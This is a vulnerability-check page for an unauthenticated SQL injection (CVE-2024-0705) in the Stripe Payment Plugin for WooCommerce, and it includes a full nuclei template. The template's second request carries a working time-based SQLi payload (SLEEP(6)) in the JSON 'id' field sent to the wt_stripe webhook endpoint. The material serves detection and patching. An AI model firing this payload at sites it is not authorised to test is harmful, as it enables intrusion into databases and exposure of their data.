Stripe Payment Plugin for WooCommerce <= 3.7.9 - Unauthenticated SQL Injection

criticalseverity

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Stripe Payment Plugin for WooCommerce for WordPress versions up to 3.7.9 contains a sql_injection caused by insufficient escaping and lack of preparation on 'id' parameter, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'id' parameter.

Impact

Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification of sensitive database information.

Fix

Update to the latest version of the plugin, above 3.7.9, to fix the vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "payment-gateway-stripe") and status_code == 200
Send: @timeout: 10s
Positive when: duration >= 6 and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-0705 -u <target>

The full check

id: CVE-2024-0705

info:
  name: Stripe Payment Plugin for WooCommerce <= 3.7.9 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    Stripe Payment Plugin for WooCommerce for WordPress versions up to 3.7.9 contains a sql_injection caused by insufficient escaping and lack of preparation on 'id' parameter, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'id' parameter.
  remediation: |
    Update to the latest version of the plugin, above 3.7.9, to fix the vulnerability.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification of sensitive database information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0705
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/2652a7fc-b610-40f1-8b76-2129f59390ec?source=cve
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "plugins/payment-gateway-stripe-and-woocommerce-integration/"
  tags: cve,cve2024,wp-plugin,wp,wordpress,woocommerce,stripe,sqli,unauth,time-based

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "payment-gateway-stripe")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 10s
        POST /?wc-api=wt_stripe HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type":"charge.succeeded","data":{"object":{"id":"sqli_test' AND (SELECT 1 FROM (SELECT SLEEP(6))a)#","metadata":{"order_id":"999999"}}}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from